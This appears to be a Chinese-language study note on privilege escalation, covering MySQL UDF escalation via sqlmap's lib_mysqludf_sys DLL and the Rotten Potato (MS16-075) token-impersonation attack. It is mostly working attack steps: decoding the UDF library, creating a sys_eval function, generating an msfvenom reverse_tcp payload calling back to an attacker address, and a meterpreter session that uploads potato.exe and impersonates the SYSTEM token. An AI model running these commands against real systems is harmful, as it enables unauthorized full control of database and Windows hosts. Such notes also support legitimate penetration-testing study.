提权初探

MySQL

udf提权

udf = ‘user defined function’,即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充

1、 如何获得udf文件

2、 将文件放到哪才能让mysql承认这个函数

3、 函数功能

4、 为什么这东西能提权(自定义函数指令是直接以管理员的权限运行的)

Sqlmap

udf位置

/usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_

暂时不能用,需要解码

cd /usr/share/sqlmap/extra/cloak

python3 cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_

image-20230217172809831

放到哪

1
2
3
MySQL<5.0,导出路径随意;
5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:system32)
MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。

select @@basedir; + lib/plugin/

image-20230217172957385

创建函数

create function sys_eval returns string soname ‘udf.dll’;

image-20230217173111062

image-20230217173129794

烂土豆(ms16-075)

原理

1、欺骗“NT AUTHORITY\SYSTEM”账户通过NTLM认证到控制的TCP终端

2、对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程通过一系列的Windows API调用实现的。

3、模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数服务型账户(IIS、MSSQL等)都有这个权限,用户级账户大多数没有这个权限。

payload:https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075

msf生成木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.113 LPORT=5555 -f exe > shell.exe

use exploit/multi/handler

1
2
3
4
5
6
7
8
9
10
meterpreter > getuid 
meterpreter > upload /root/potato.exe C:\Users\Public
meterpreter > cd C:\\Users\\Public
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > execute -cH -f ./potato.exe
meterpreter > list_tokens -u
AUTHORITY\SYSTEM
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
meterpreter > getuid

image-20230217173350480